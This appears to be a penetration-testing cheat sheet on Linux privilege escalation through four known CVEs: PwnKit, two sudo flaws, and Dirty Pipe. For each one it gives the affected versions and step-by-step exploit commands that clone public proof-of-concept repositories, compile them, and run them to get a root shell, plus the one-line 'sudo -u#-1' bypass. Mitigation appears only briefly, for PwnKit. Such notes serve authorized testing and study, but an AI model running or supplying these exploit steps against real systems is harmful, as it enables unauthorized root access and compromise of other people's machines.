Recent CVEs
PWNKit - CVE-2021-4034
Affected Versions: All Polkit versions from 2009 onwards are vulnerable
Exploit PoC:
git clone https://github.com/arthepsy/CVE-2021-4034.git
gcc cve-2021-4034-poc.c -o pwnkit
./pwnkit
Mitigation:
Patch polkit
If no patches are available for your system, remove the SUID bit from the pkexec binary
Weak Sudo Versions - CVE-2021-3156
Affected Versions:
1.8.31 - Ubuntu 20.04
1.8.27 - Debian 10
1.9.2 - Fedora 33
and othersExploit PoC:
git clone https://github.com/blasty/CVE-2021-3156
cd git-folder
make
Check target OS version:
cat /etc/lsb-release
Check available exploit targets:
./sudo-hax-me-a-sandwich
Exploit the target OS:
./sudo-hax-me-a-sandwich target-number
Weak Sudo Version (prior to 1.8.28) - CVE-2019-14287
Affected Versions:
sudo
versions prior to1.8.28
Exploit Prerequisites:
The current user needs to be part of the
sudoers
groupThe current user needs to be able to run any command as
(ALL)
Exploit PoC:
Check sudo permissions:
sudo -l
Suppose the output of the previous command is
ALL=(ALL) /usr/bin/id
Run the command
id
as root:sudo -u#-1 id
Dirty Pipe - CVE-2022-0847
Affected Versions: All kernels from version 5.8 to 5.17
Exploit Prerequisites: This vulnerability allows a user to write to arbitrary files as long as he has read access to these files
Exploit PoC:
Check kernel version:
uname -r
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd git-folder
bash compile.sh
[Option1] Modify the
/etc/passwd
file and get a shell:./exploit-1
[Option2] Identify a SUID binary using
find / -perm -4000
and run./exploit-2
to leverage that binary file
Last updated